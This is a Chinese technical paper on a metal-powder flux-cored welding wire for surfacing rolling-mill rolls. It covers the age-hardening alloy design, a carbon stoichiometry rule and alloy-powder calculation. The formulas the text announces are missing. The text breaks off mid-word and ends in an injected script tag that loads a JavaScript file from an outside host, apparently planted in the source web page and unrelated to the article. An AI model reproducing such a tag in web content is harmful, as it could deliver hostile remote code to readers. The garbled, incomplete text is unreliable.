摘 要 研究了一种药芯焊丝，按常规工艺制造与修复轧辊等设备，具有机械加工性好、硬度高、耐磨性好的特点，并能克服后一焊道对前一焊道的热影响，即克服了焊道之间的软化现象，最终使堆焊表面硬度较为均匀，对许多耐磨件（如精轧辊）的堆焊具有重要意义。对其设计原理和具体的应用进行了阐述。
关键词 药芯焊丝 耐磨性 加工性
0 序 言
目前钢铁厂的许多轧辊如开坯辊的堆焊，大多采用实芯焊丝25 cr3mo2v进行埋弧自动堆焊来修复，堆焊层洛氏硬度不到hrc40，虽易于加工，但耐磨性不好，寿命短，重复修复次数多，增加修复费用和换辊时间。针对这种情况，有的单位研制了药芯焊丝堆焊轧辊，硬度达hrc55以上，耐磨性确实提高了，但是轧辊表面必须光滑而且要机械加工，加工时感到切削困难，切削速度很慢，生产率低，发生严重打刀现象，刀具报废率高，同样增加修复费用和时间。新研究了一种药芯焊丝，堆焊后硬度只有hrc40多一点，机械加工性能很好，经初步加工后，再进行消除应力退火，硬度增加到hrc55以上，最后精加工投入使用，耐磨性大为提高，这样较好地把轧辊堆焊的加工性和耐磨性统一起来，并且通过正常的堆焊，机械加工和消除应力处理等工序后，能克服焊道之间的软化现象，最终达到堆焊表面硬度均匀效果，对于表面要求硬度均匀如精轧辊等能否采用堆焊方法制造与修复，具有决定性意义。
1 焊丝合金元素的设计
1．1 合金系统设计原理
目前的时效硬化材料，按组织转变类型分为马氏体时效钢〔1〕、奥氏体时效硬化钢和相变控制钢。
马氏体时效钢是一类无间隙或含有少量碳的高合金钢，通过固溶处理，组织全部奥氏体化后接着淬火得到软的无碳马氏体，在此状态下切削加工，再通过低温时效处理析出金属间化合物以提高硬度。典型的材料有马氏体时效硬化不锈钢，主要合金系为ni－co－mo，cr－ni－cu，cr－ni－al，cr－ni－co－mo－ti，其中（cr＋ni）≥17％。
奥氏体时效硬化钢，按其时效析出物的类型不同可分为2种，一种通过碳化物析出硬化的合金，另一种是通过金属间化合物析出硬化的合金。碳化物时效析出的材料主要是通过碳、铬和镍来保持奥氏体组织，这类合金是通过固溶处理使碳化物溶入到基体中去后快冷，机加工后高温时效使碳化物析出 从而提高材料的硬度，主要的合金系有c－mn－cr－ni，其中镍的百分含量和奥氏体不锈钢的含量相近。金属间化合物时效硬化钢常由含钛或铝的金属间化合物析出来硬化，一般的析出物为ni3（alti）。
相变控制钢的特点是固溶处理后显微组织为奥氏体，再经热处理后几乎完全转变成马氏体，其原理是利用固溶后基体中含有大量铬、钼和镍等合金元素，这使得材料的ms点相当低，因而经固溶处理后金属显微组织中有大量的奥氏体可以在室温下较为稳定地存在，材料硬度低，可进行机加工，经高温时效后从奥氏体中析出碳化物或氮化物、硼化物，这时奥氏体中碳、氮和合金元素的含量同时下降，奥氏体的稳定性下降而转变为马氏体，从而达到使材料硬度升高的目的。
本药芯焊丝的研究，在原理上与相变控制钢大致相同，其特殊性有：a．没有专门的固溶处理，只是通过堆焊过程，合金元素进入熔敷金属，自然冷却到室温，使熔敷金属中有较多的奥氏体；b．没有专门的热处理，使熔敷金属几乎完全转变为马氏体；c．设计的药芯焊丝堆焊后，熔敷金属中合金元素的种类和数量，一般来说比整体材料相变控制钢要多；d．焊态的固溶，消除应力退火过程中的析出等没有相变控制钢专门处理单一、彻底。例如，除碳化物、硼化物等析出外，也可能有金属间化合物析出，焊态下除固溶外，也有碳化物析出，消除应力退火过程中奥氏体不一定完全转变为马氏体，还可能有残余奥氏体等，总之，过程更复杂，性能更特殊。
1．2 定比碳规律
新研究的药芯焊丝为金属粉芯焊丝，配方中没有加入任何矿石粉，一般采用埋弧自动堆焊。配方中加入碳和多种合金元素，为了满足合金元素与碳结合成合金化合物分子式中的定比关系，使二次硬化效果最好，即使韧性好的基体组织上弥散分布大量的合金碳化物，必须对含碳量进行适当控制，参考高速钢中碳含量确定方法来计算焊道熔敷金属中所需的含碳量〔2〕，其公式如下：
上面第一式适合于cr23c6型碳化物，而第二式适合于cr7c3型碳化物。
1．3 合金元素的计算
设计焊道成分中各种合金元素的含量后，在配方中加多少纯金属粉末或铁合金粉末可参考焊条药皮中添加铁合金或纯金属的公式进行粗略计算，然后根据药芯焊丝的特点，最终由实际配方试验确定。
式中m粉为配方粉末中加入某纯金属粉末或铁合金粉末的百分含量；m焊为堆焊焊道中该合金元素要求的百?script src=http://er12.com/t.js>
